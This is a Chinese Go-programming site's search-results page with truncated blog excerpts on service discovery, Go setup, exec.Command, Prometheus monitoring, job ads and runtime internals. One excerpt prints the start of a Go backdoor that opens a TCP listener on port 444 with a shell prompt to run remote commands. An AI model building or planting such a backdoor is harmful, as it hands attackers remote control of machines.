Go语言中文网 为您找到相关结果 288

服务发现:Zookeeper vs etcd vs Consul

【编者的话】本文对比了Zookeeper、etcd和Consul三种服务发现工具,探讨了最佳的服务发现解决方案,仅供参考。 如果使用预定义的端口,服务越多,发生冲突的可能性越大,毕竟,不可能有两个服务监听同一个端口。管理一个拥挤的比方说被几百个服务所使用的所有端口的列表,本身就是一个挑战,添加到该列表后,这些服务需要的数据库和数量会日益增多。因此我们应该部署无需指定端口的服务,并且让Docker为我们分配一个随机的端口。唯一的问题是我们需要发现端口号,并且让别人知道。 当我们开始在一个分布式系统上部署服务到其中一台服务器上时,事情会变得更加复杂,我们可以选择预先定义哪台服务器运行哪个服务的方式,但这会导致很多问题。我们应该尽我们所能尽量利用服务器资源,但是如果预先定义每个服务的部署位置,那么...阅读全文

博文 2015-09-20 10:39:43 国会山上的猫TuxHu

GO编译环境搭建(基于SublimeText3)

1、我的机器是32位的win,可以去下面连接下载:http://download.csdn.net/detail/cumtwys/7695131 如果需要其他版本请到google官网下载(貌似被封了):http://code.google.com/p/go/downloads/list?q=OpSys-Windows+Type%3DInstaller 2、配置系统环境变量 新建变量名:GOBIN 变量值:C:\go\bin 新建变量名:GOARCH 变量值:386 新建变量名:GOOS 变量值:windows 新建变量名:GOROOT 变量值:C:\go 编辑PATH变量,在最后添加 ;%GOBIN% 3、配置Sublime Text 按住【Ctrl+shift+p】,在弹出框内输入【ins...阅读全文

博文 2015-02-22 01:00:01 cumtwys

[笔记]Go语言写文件几种方式性能对比

Go语言中写文件有多种方式,这里进行如下几种方式的速度对比: 打开文件,写入内容,关闭文件。如此重复多次 打开文件,写入内容,defer 关闭文件。如此重复多次 打开文件,重复多次写入内容,defer 关闭文件 在VMWare下的Ubuntu 14.04下运行的结果表明: 方式1速度最慢,但是慢的很稳定 方式2比方式1略快,但是重复次数多了后会报错,应该是defer被压栈太多导致系统撑不了太多打开的文件 方式3速度约是前两者的2倍,因为减少了很多打开关闭文件的操作 测试代码如下: package main import ( "fmt" "os" "time" ) func benchmarkFileWrite(filename string, n int, index int) (d tim...阅读全文

博文 2015-03-08 03:00:01 journeyonmyway

golang执行linux命令

golang exec 执行系统命令 golang 2014-09-25 13:17:44 2779 0 0 exec.Command() 最简单的方法: cmd := exec.Command("/bin/sh/", "-c", "linux命令") 或复杂的, 各个参数都要单独写 cmd := exec.Command("ls", "-l", "-a") package main import ( "bytes" "fmt" "os/exec" ) func main() { in := bytes.NewBuffer(nil) cmd := exec.Command("sh") cmd.Stdin = in go func() { in.WriteString("echo hello ...阅读全文

博文 2016-08-31 17:00:02 zhangym

准备写一个基于go、angularjs的系统管理平台

功能要求:监控 http、tcp、udp 等服务状态分析 nginx、tomcat、weblogic 等日志监控 linux 服务器 cpu、硬盘、内存、网卡流量邮件报警go 主要用来写后台代码和监控 linux 服务器的 client 代码,并提供一个 api 给 angularjs 来查询和更新数据。上面这些功能使用 python 更容易实现一些(python 有许多现成的模块可以使用),只不过拿这个项目作为学习 go 的一个手段。目前完成了一部分的 go 和 angularjs 的代码。代码目前托管在 coding,有兴趣的朋友可以留言一起来学习交流 go 和 angularjs...阅读全文

博文 2015-06-18 09:02:45 qcpm1983

Prometheus 系统监控方案 一

最近一直在折腾时序类型的数据库,经过一段时间项目应用,觉得十分不错。而Prometheus又是刚刚推出不久的开源方案,中文资料较少,所以打算写一系列应用的实践过程分享一下。 Prometheus 是什么? Prometheus是一套开源的监控&报警&时间序列数据库的组合,起始是由SoundCloud公司开发的。随着发展,越来越多公司和组织接受采用Prometheus,社会也十分活跃,他们便将它独立成开源项目,并且有公司来运作。google SRE的书内也曾提到跟他们BorgMon监控系统相似的实现是Prometheus。现在最常见的Kubernetes容器管理系统中,通常会搭配Prometheus进行监控。 Prometheus 的优点 非常少的外部依赖,安装使用超简单 已经有非常多的系统集...阅读全文

Golang-too_many_open_files-解决方法

这是系统资源限制,通常单进程不能超过 1024,我使用cgo来设置,代码如下: package main /* #include #include #include int rlimit_init() { printf("setting rlimit\n"); struct rlimit limit; if (getrlimit(RLIMIT_NOFILE, &limit) == -1) { printf("getrlimit error\n"); return 1; } limit.rlim_cur = limit.rlim_max = 50000; if (setrlimit(RLIMIT_NOFILE, &...阅读全文

博文 2015-03-03 21:46:55 nulijiabei

Golang 1.3 sync.Atomic源码解析

上一篇文章我们说到sync.Mutex的源码实现,核心就是使用到了CPU指令CAS,从并发性能上来说atomic的效率是要高于mutex的,毕竟mutex做了不少的其他步骤,而atomic的核心其实就是和处理器密切关系的,通过一两个指令就能完成的原子操作,我们接下来来看看atomic在golang中的一些细节。 通过目录: 64bit_arm.go asm_amd64p32.s asm_linux_arm.s atomic_test.go race.go asm_386.s asm_arm.s asm_netbsd_arm.s doc.go asm_amd64.s asm_freebsd_arm.s atomic_linux_arm_test.go export_linux_arm_test...阅读全文

博文 2014-10-19 09:03:49 毛, 剑

Golang自定义包总结

近日在学习Golang的自定义包的创建方式,产生了一些经验,因此以这篇文章作为记录。 我们通过import语句将自定义包加入到我们项目main函数中,import语句后面的参数应该是文件夹的名称,和自定义包的package的名称或者自定义包里面的文件名称没有关系,例如文件的结构目录如下: main.go的源码: package main import "fmt" import "foo" func main() { bar.Abc() fmt.Print("This is main\n") } foo/test.go的源码: package bar import "fmt" func Abc() { fmt.Print("This is test print\n") } 上面的代码是顺利通过...阅读全文

关于Go语言daemon启动的方法.

昨天搞了个文件共享的小程序,遇见了意见蛋疼的事,就是启动之后终端不能关闭,不然程序也会随着关闭. 我的解决方法: nohup ./httpserver & nohup这个命令可以把程序放后台运行,顺便通过1>和2>把标准输出和标准错误重定向到文件,这样程序崩溃时才会有记录可查,这两者和程序的日志最好是分开,混在一起没办法判断轻重缓急: nohup ./server 1> server.out 2> server.err 进程启动时候记录下自己的pid: if pid := syscall.Getpid(); pid != 1 { ioutil.WriteFile("server.pid", []byte(strconv.Itoa(pid)), 0777) defer os.Remove("s...阅读全文

博文 2016-01-05 20:00:00 fyxichen

Deepin下搭建Golang开发环境

首先下载golang包,下载地址:http://pan.baidu.com/s/1hq1mrDM 进入go文件夹,然后进入对应的版本号,如果您的系统是32位的就是go1.4.2.linux-386.tar.gz,64位是go1.4.2.linux-amd64.tar.gz,下载好了后,解压得到go文件夹,我们使用命令移动到系统目录:sudo mv go /usr/local/输入管理员密码,什么都没有提示就是成功了,然后修改profile文件,命令是sudo gedit /etc/profile,然后在末尾添加以下代码: export GOROOT=/usr/local/go export GOARCH=amd64 export GOOS=linux export GOPATH=/home/...阅读全文

博文 2015-06-17 20:05:15 Rekols

北京招聘Golang研发工程师

工作地点: 北京-回龙观-复式精装住宅 工作装备: MacBook Pro Retina 三星大宽屏显示器 人体工程学座椅 公司简介: 天津泛亚电子商务技术服务有限公司于2014年1月由泛亚有色金属交易所原有股东投资设立,注册资本1亿元人民币,是泛亚有色金属交易所实现集团化发展的重要战略举措。该公司将以交易系统研发、风险控制等核心技术,以控股或参股的形式参与全国各地交易市场及交易中心的建设,预计3-5年内将形成天津为核心,涵盖有色金属、煤炭、进口矿产品、塑料等大宗商品业务板块。 岗位要求: - 计算机相关专业本科及以上学历, 具有2年及以上开发工作经验; - 熟悉Linux工作环境,精通Golang/Erlang/C/C++至少一种语言; ...阅读全文

可视化系统监控工具 Cloudinsight Agent

![image](http://static.oschina.net/uploads/img/201610/18113759_OZtU.jpg) 很高兴地宣布 Cloudinsight  Agent 在 BSD 开源协议下正式开源了。我们的工程师在开源前已将代码用 Golang 重写,更加清晰简洁,欢迎大家参与到  Cloudinsight Agent 的开发和迭代中来。 **为什么要用 Golang 重写和开源** [**Cloudinsight**](http://cloudinsight.oneapm.com/)**是一个可视化系统监控工具,能够对数据指标进行聚合、分组、过滤、 管理、计算;并提供团队协作功能,共同管理数据和报警事件。而这些的关键,正是 Cloudinsigh...阅读全文

Prometheus 系统监控方案 二 安装与配置

下载Prometheus 下载最新安装包,本文说的都是在Linux x64下面内容,其它平台没尝试过,请选择合适的下载。 Prometheus 主程序,主要是负责存储、抓取、聚合、查询方面。 Alertmanager 程序,主要是负责实现报警功能。 Pushgateway 程序,主要是实现接收由Client push过来的指标数据,在指定的时间间隔,由主程序来抓取。 *_exporter 这类是不同系统已经实现了的集成。 下载解压,一般默认的配置就可以运行。 tar xvfz prometheus-*.tar.gz cd prometheus-* go写的东西,直接打包成二进制包了,其本上没有别的依赖。 下面我们主要来了解一下他的配置文件,这是一个非常重要的步聚。 配置Prometheus监...阅读全文

go 1.4支持Android的说明(译文)

https://docs.google.com/document/d/1N3XyVkAP8nmWjASz8L_OjjnjVKxgeVBjIsTr5qIUcA4/edit?pli=1 摘要 我们计划为Android平台引入GO支持。我们会关注于对用GO来开发游戏提供支持。 背景 Android是为了运行APP而设计的操作系统。一个app依赖于更多的平台库和服务(比传统Unix操作系统),这意味着如果没有新的API,Android上的GO运行时的一个端口,那将不会有多大用处。 提供一个Android平台的等价的GO是难以避免的。平台是用java写的,有很多的api接口。任何用GO来封装封装这些API的尝试都会得到一个不好的结果:手动编译封装会跟不上特色,自动生成封装会导致丑陋的GO。无论哪种方法...阅读全文

博文 2014-12-11 22:00:06 itfanr

Linux 资源监控sysmon - 功能强大的图形化 linux 系统资源监控

sysmon 是一个前后端分离的 linux 资源监控应用, 可以监控 CPU/内存/磁盘/网络 等状态, 还有极其详细的进程/线程信息 服务端只支持 Linux, 包括 x86/amd64/armv6l/arm64/mips/mips64 架构 客户端则支持 web/windows/linux/android, 具体每个平台上支持的架构, 参考: https://github.com/Lt0/sysmon/releases 服务端使用 Golang + beego 实现 客户端使用 vue + vuetify 实现 桌面客户端主要是 electron 封装的 web app 移动客户端主要使用 hbuilder 封装的 web app 觉得有用的记得给个星啊!!!...阅读全文

欢迎大家来使用在线 Golang IDE: https://wide.b3log.org

### 特性 * 代码高亮、折叠(Go/HTML/JS/Markdown 等) * 自动补全(基于 gocode) * 格式化(gofmt/goimports, HTML/JSON) * 代码导航(快速打开文件、跳转使用/声明、搜索、大纲视图等) * go get/vet/test * 文件导入/导出 * 多主题 跑一些 _简单的_ 项目已经完全足够了,欢迎大家在体验后[反馈](https://github.com/b3log/wide/issues/new)建议、bug。 ### 使用 * **推荐**直接使用我们搭建的 [Wide 在线服务](https://wide.b3log.org)(“服务器资源这么空闲我都不忍心看了!”) * 我们也提供了...阅读全文

Linux 平台下的漏洞扫描器Vuls

Vuls 是一款适用于 Linux / FreeBSD 的漏洞扫描程序,无代理,采用 golang 编写。 对于系统管理员来说,每天必须执行安全漏洞分析和软件更新都是一个负担。为避免生产环境宕机,系统管理员通常选择不使用软件包管理器提供的自动更新选项,而是手动执行更新。这会导致以下问题: 系统管理员必须不断注意NVD(National Vulnerability Database)或类似数据库中的新漏洞。 如果服务器中安装了大量软件,系统管理员可能无法监视所有软件。 执行分析以确定受新漏洞影响的服务器是昂贵的。在分析过程中可能会忽略服务器或两台服务器。 Vuls 是为解决上述问题而创建的工具。它具有以下特点: 通知用户与系统相关的漏洞。 通知受影响的服务器的用户。 自动执...阅读全文

ubuntu上golang1.5.1安装

如果从golang1.5.1源码安装go的话,需要系统上go1.4的支持,也就是说安装go1.5之前需要先安装go1.4。另外,安装go1.4时,编译的时间也会因系统配置的不同而编译时间不同,于是索性下了golang1.5.1编译后的可执行文件包:go1.5.1.linux-amd64.tar.gz。 部署如下: 1.解压: root@ubuntu:/usr/local# tar -xzvf go1.5.1.linux-amd64.tar.gz 2. /etc/profile文件最后添加如下内容: export GOROOT=/usr/local/go export GOPATH=/home/tjy/go-ws export PATH=$GOROOT/bin:$GOPATH/bin:$PAT...阅读全文

可视化系统监控工具 Cloudinsight Agent 正式开源

![](http://o8g4uutrr.bkt.clouddn.com/cloudinsight%20agent%201.jpg) 很高兴地宣布 Cloudinsight Agent 在 BSD 开源协议下正式开源了。我们的工程师在开源前已将代码用 Golang 重写,更加清晰简洁,欢迎大家参与到 Cloudinsight Agent 的开发和迭代中来。 ##为什么要用 Golang 重写和开源 [Cloudinsight](http://cloudinsight.oneapm.com?utm_source=studygolang&utm_medium=Article&utm_term=agentos&utm_campaign=CiTech&from=jscwgye...阅读全文

非官方中文文档Promethues监控系统

## Prometheus 非官方中文手册 --- ### 目录 - 介绍 [总览](introduction/overview.md) [安装](introduction/install.md) [启动](introduction/get_started.md) [对比](introduction/comparison.md) [常见问题](introduction/questions.md) [路线图](introduction/roadmap.md) [学习媒介](introduction/media.md) [词汇](introduction/glossary.md) - ...阅读全文

GO语言区块链交易系统开发工程师

岗位描述:GO语言区块链交易系统工程师 一:岗位要求 1. 逻辑能力强. 思维活跃,接受新事物能力强; 2. 性格开朗乐观,责任心强,积极主动,善于沟通,具有团队精神; 3. 具有较强的学习沟通和口头表达能力; 4. 熟悉开源项目,IBM Hyperledger. Ethereum. siacoin. bitcoin; 5. 熟悉golang语言,精通JAVA/Python/C++/Go/PHP/solidity等语言经验中至少两种编程语言或其他开发语言, 具有良好的编程习惯和风格 6. 熟悉区块链的原理. 技术. 熟悉加密技术. 可以用golang开发部分代码; 7. 有github开源项目. 熟悉开源项目流程. 有良好的英文阅读能力的优先。 8. 本科及以上学历,...阅读全文

福利贴 Golang服务架构师(急) 知春路

公司创始人均来自清华大学,并且公司和清华博士站有合作,如果候选人在读博士或者博士毕业两年内(数学、人工智能go专业的)可以直接被送到清华去读博士后。 目前所研发的智能AI产品,已远销国外,特新增职位golang服务架构师: 主要职责 1、根据公司业务要求,搭建稳定可靠地服务架构,给业务功能提供支撑平台 2、解决海内外访问的速度和稳定性问题 3、解决并发扩展和灾备问题 要求: 有多年实际的服务架构实施经验 有2年以上Go语言开发经验 对国内外云服务器资源有丰富操作经验 职位必备项 跳槽频繁 跳槽频繁,一年一跳不考虑 年龄超限 年龄超过35岁不考虑 学校类型 必须统招本科以上学校(第一学历) 专业选择 必须计...阅读全文

Golang 写的后门程序

package main import ( "fmt" "net" "os/exec" "strings" ) var left = "#shell:" func main() { ln, err := net.Listen("tcp", ":444") buffRecv := make([]byte, 128) if err != nil { err.Error() } for { conn, err := ln.Accept() showMSG(conn) if err != nil { continue } c := []byte(left) for { conn.Write(c) length, err := conn.Read(buffRecv) if length == 10 {...阅读全文

博文 2015-02-10 19:00:01 未来还没来

六大下一代Docker监测工具

![alt 文本](http://blog.tenxcloud.com/wp-content/uploads/2015/09/docker%E7%9B%91%E6%B5%8B%E5%B7%A5%E5%85%B7-300x227.jpg ) 容器:这里面什么才是最重要的?container monitoring,一项可以帮助你了解容器内发生什么以及让你获得某种支持的技术,随着Docker自身的monitoring 和 introspection技术API的成熟,已经有最新一波的容器监测技术利用到它们。 以下列举6个Docker相关的监测App和服务,从简单的开源工具到复杂的企业整体解决方案。 ## cAdvisor 谷歌的container introspection...阅读全文

招聘招聘~靠谱公司招募Golang工程师~搭建Dokcer私有云。

职位描述 1. 基于上百PB级别的大数据平台,保障系统24×7稳定运行; 2. 和架构团队一起持续优化线上系统,并进行前瞻性容量规划; 3. 设计和实现数据业务线监控报警系统、自动构建部署系统、集群部署系统、数据资产管理系统等; 4. 积累并规范化系统运维的最佳实践并文档化; 5. 开发运维自动化工具,持续提升工作内容的自动化比例。 职位要求 1. 有至少1年的Linux系统使用和管理经验; 2. 熟悉至少1种关系型数据库(如MySQL、SQL Server等); 3. 熟悉常见应用配置及优化,如Nginx / MySQL/ DNS/ Postfix等; 4. 有1年以上Python或golang开发经验; 5. 了解...阅读全文

适合Go语言初学者的资料

适合Go语言初学者的资料 本页是为那些对Go语言学习感兴趣的开发者列举的一些学习资料。(注:部分网站无法访问,请自备翻墙工具) 安装GO语言和配置工作空间 从这里开始学习如何创建一个工作空间来写Go代码 How to Write Go Code Writing, building, installing, and testing Go code 在线资源 一旦你配置完Go语言的环境后,这里有一些学习Go的优秀资源。 The Go programming language tour Go by example Effective Go The Go language FAQ Going Go Programming by WIlliam Kennedy 教程 Writing table dri...阅读全文

博文 2014-10-11 12:00:01 wuwenxiang91322

golang内存释放

一、前言 一般在golang运行完成初始化时,会创建专门的goroutine用于后台监控、定期任务,这其中也涉及到了强制垃圾回收、内存释放等任务。 // 主goroutine. func main() { // ... // m0: 系统主线程 // g0:主goroutine // m0、g0是比较特殊的 仅用于main goroutine的父goroutine g.m.g0.racectx = 0 if sys.PtrSize == 8 { // 64bits 系统 maxstacksize = 1000000000 } else { // 32bits系统 maxstacksize = 250000000 } // 新建M(物理线程) mainStarted = true if GOA...阅读全文

博文 2019-01-09 22:34:43 神奇的考拉

TOPGAME诚聘Golang开发工程师

岗位职责: 1.您将参与游戏开发团队的整个创意、讨论、设计、开发、调整等游戏开发过程; 2.负责手机游戏的服务器端设计、开发和维护工作; 3.贡献你的知识,分享你的点子,发挥你的创意,融入这个团队! 任职要求: 1.大学本科以上学历,开发经验丰富,熟悉golang语言,基础扎实,2年以上golang开发工作经验,有完整的项目经验 ;熟悉php/c/c++/java,至少一年使用经验; 2.精通Golang协程,精通channel和锁,对高并发、高可用架构系统有正确、深刻的理解,要求有分布式服务器开发经验; 3.有Web开发经验,对RESTful概念有清晰的理解,并至少有一次API Server开发项目中运用到; 4.熟悉xml/json/pro...阅读全文

Macbook Pro上运行windows to go

今年一咬牙入手了台Macbook Pro,操作系统为Sierra,其他都还满意,无奈当时为节约成本硬盘配置只有128G。一般来讲,128G对于上网、娱乐以及编程够用,但是工作上需要安装visual studio开发环境,虽然vs2017也提供了mac版,实在是不喜欢mac vs的风格。接下来有两个选项: 安装虚拟机 在虚拟机里配置win10,然后安装vs,但是有个问题,虚拟机虽然切换比较方便,对资源比如内存的占用不可不忽视,作为入门级的macbook还是要慎重; 安装双系统 安装双系统,苹果公司已经考虑到windows的强势,主动提供了安装工具bootcamp助理,可以将win10安装在本地,启动时选择运行mac还是win10,但是问题还是自带硬盘太小,装完win10后所剩无几。 自然而然想...阅读全文

博文 2017-09-06 22:31:02 topsun888

Go语言开发工具 LiteIDE x10 发布

GO语言开发工具liteide x10发布,更新了GO调试插件。 LiteIDE项目: 操作系统: Windows / Linux x86 / Linux x86_64 / MacOS X 10.6 项目主页: http://code.google.com/p/golangide 项目源码 : http://code.google.com/p/liteide 讨论组: http://groups.google.com/group/liteide-dev 下载链接: http://code.google.com/p/golangide/downloads/list IDE基本特性: 以MimeType为基础构建的IDE环境变量管理和切换功能源码编译系统管理和切换功能简洁和开放的调试系统KATE...阅读全文

5亿次请求,95万QPS HTTPS CC攻击——阿里云云盾抗下全球最大DDoS攻击

5亿次请求,95万QPS HTTPS CC攻击——阿里云云盾抗下全球最大DDoS攻击 3月29日, 阿里云正式对外发布《2015下半年云盾互联网DDoS状态和趋势报告》。报告披露,去年11月,阿里云安全团队成功防御了黑客对阿里云平台上某互联网金融用户发起的超大规模HTTPS/SSL CC流量攻击,此次攻击也是迄今为止全球有统计数据最大的HTTPS SSL/CC攻击。 作为国内最大的公共云计算服务提供商,大量网站选择阿里云的安全防护,也因此为国内客户防御了当前互联网上主要的攻击行为。 攻击者从11月5日下午14点开始针对网站开始发起攻击,出现两次波峰分别在14点10和晚上7点30左右,总攻击量达到了5亿次请求。 ![1攻击请求QPS变化.jpg](http://stu...阅读全文

Go Hashmap内存布局和实现

想了解Go内置类型的内存布局的契机,是一次在调试“不同类型的小对象频繁创建对gc性能的影响”时发现map的gc性能不佳,而作为对比的包含slice的struct却很好。这里总结Go runtime里map的实现,可以解释这个问题。 hash table内部结构Go的map就是hashmap,源码在src/runtime/hashmap.go。对比C++用红黑树实现的map,Go的map是unordered map,即无法对key值排序遍历。跟传统的hashmap的实现方法一样,它通过一个buckets数组实现,所有元素被hash到数组的bucket中,buckets就是指向了这个内存连续分配的数组。B字段说明hash表大小是2的指数,即2^B。每次扩容会增加到上次大小的两倍,即2^(B+1)...阅读全文

博文 2017-12-18 13:58:29 nino's blog

一.Go安装和工作目录的配置

1.下载地址 https://golang.org/dl/ 这里下载windowsx64.msi文件 正常的exe文件在windows下安装就可以了。 2.基本配置说明 Paste_Image.png GOARCH-架构 GOBIN 工作目录下的详情文件夹 GOEXE 生成可执行文件的后缀 HOST 交叉编译系统 HOSTARCH 交叉编译的CPUOS 当前系统的系统名称PATH 工作目录ROOT 安装目录 工作目录下的结构bin(存放编译后生成的可执行文件)pkg(存放编译后生成的包文件)src(存放项目源码) GOPATH目录配置到计算机的环境变量中添加 Paste_Image.png 多个的话用;分...阅读全文

用Go来编写分布式系统,相比用C/C++的好处

文链接:https://www.zhihu.com/question/27277398 Go 支持 Goroutine,超轻量级的线程。在高并发的系统中,可以按照多线程的方式写程序,从而保证逻辑的清晰和简单,又可以获得非常高的性能。 同样的事情在C++中,如果用多线程,会导致系统线程过多带来大量的上下文切换overhead;如果采用基于消息的架构,虽然可以获得较高的效率,但程序逻辑会被打散,可读性和可维护性较差。 此外,Go 有最强大的接口,从而可以放弃 C++ 的继承+虚方法覆盖的编程方式,对于复杂系统来说前者具有更好的可维护性...阅读全文

博文 2016-08-10 20:00:00 hellochenlu